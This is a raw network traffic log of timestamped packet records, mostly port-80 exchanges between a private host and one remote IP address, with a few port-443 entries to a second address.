Nov 26, 2024 08:03:47.905576944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.905797958 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:47.906307936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.906383038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.906400919 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:47.906400919 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:47.906413078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.906469107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.906487942 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:47.907228947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.907324076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.907423973 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.907496929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.908126116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.908199072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.908225060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.908287048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.909018040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.909076929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.909148932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.909203053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.909954071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.909997940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.909997940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.910069942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.910825014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.910898924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.910943985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.911040068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.911714077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.911772966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.911837101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.911880970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.912622929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.912741899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.912772894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.912787914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.913569927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.913655043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.913667917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.913906097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.914442062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.914535999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.914565086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.914678097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.915355921 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.915484905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.915534973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.916277885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.916357040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.916395903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.916439056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.917169094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.917223930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.917262077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.917354107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.918035030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.918076992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.918142080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.918224096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.918936968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.919003963 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.919039011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.919136047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.919917107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.920025110 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.920074940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.920778036 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.920914888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.920936108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.920962095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.921824932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.921906948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.921941042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.922043085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.922563076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.922643900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.922677040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.922743082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.923475027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.923511982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.923523903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.923609972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.924376011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.924447060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.924474955 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.924544096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.925395012 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.925441027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.925528049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.925694942 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.926307917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.926383972 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.926393032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.926417112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.927126884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.927180052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.927208900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.927268982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.927968979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.928016901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.928083897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.928128004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.928914070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.928986073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.929017067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.929111004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.929776907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.929884911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.929979086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.930679083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.930738926 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.930769920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.930798054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.931588888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.931701899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.931720972 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.931740999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.932493925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.932550907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.932621956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.932676077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.933393002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.933444977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.933552980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.933605909 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.934299946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.934370041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.934381008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.934420109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.935173035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.935281038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.935291052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.935326099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.936064959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.936178923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.936193943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.936237097 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.937007904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.937061071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.937139988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.937190056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.937906981 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.937990904 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.938133001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.938195944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.938796043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.938863993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.938916922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.938961029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.939687967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.939744949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.939776897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.939815998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.940593004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.940677881 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.940692902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.940774918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.941485882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.941528082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.941570997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.941613913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.942390919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.942468882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.942503929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.942542076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.943500042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.943507910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.943557024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.944154024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:47.944262981 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:47.947312117 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.107271910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.107342958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.107398987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.107439041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.107666969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.107717037 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.107865095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.107872963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.107918024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.108721972 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.108807087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.108836889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.108913898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.109637022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.109684944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.109755993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.109899998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.110651970 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.110713005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.110721111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.110745907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.111588001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.111634016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.111649990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.111697912 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.112340927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.112390041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.112555027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.112621069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.113240957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.113313913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.113334894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.113384962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.114238024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.114288092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.114350080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.114396095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.115107059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.115159988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.115184069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.115372896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.115932941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.116004944 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.116033077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.116072893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.116925955 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.116986990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.116988897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.117033958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.117753983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.117830038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.117857933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.117902994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.118664026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.118724108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.118746996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.118787050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.119569063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.119633913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.119688988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.119779110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.120457888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.120486021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.120538950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.121362925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.121407986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.121443033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.121488094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.122262001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.122308969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.122361898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.122446060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.123207092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.123255014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.123338938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.123390913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.124066114 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.124110937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.124188900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.124277115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.124958038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.125052929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.125124931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.125164986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.125853062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.125905037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.125931978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.125957966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.126797915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.126858950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.127017975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.127067089 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.127676964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.127774954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.127816916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.128598928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.128669024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.128699064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.128748894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.129498005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.129604101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.129615068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.129667044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.130393028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.130434990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.130479097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.130537033 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.131273985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.131328106 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.131373882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.131443977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.132199049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.132268906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.132299900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.132354975 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.133105993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.133174896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.133327961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.133398056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.134043932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.134095907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.134125948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.134190083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.134880066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.134923935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.134995937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.135036945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.135770082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.135853052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.135873079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.135921955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.136713982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.136790991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.136811018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.136995077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.137578964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.137624979 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.137690067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.137775898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.138489962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.138556957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.138595104 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.138612986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.139399052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.139488935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.139511108 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.139636993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.140307903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.140373945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.140394926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.140469074 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.141210079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.141262054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.141330004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.141468048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.142102003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.142185926 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.142221928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.142282009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.143090010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.143152952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.143297911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.143364906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.143898010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.143995047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.144011974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.144053936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.144813061 CET	80	49747	185.215.113.206	192.168.2.8
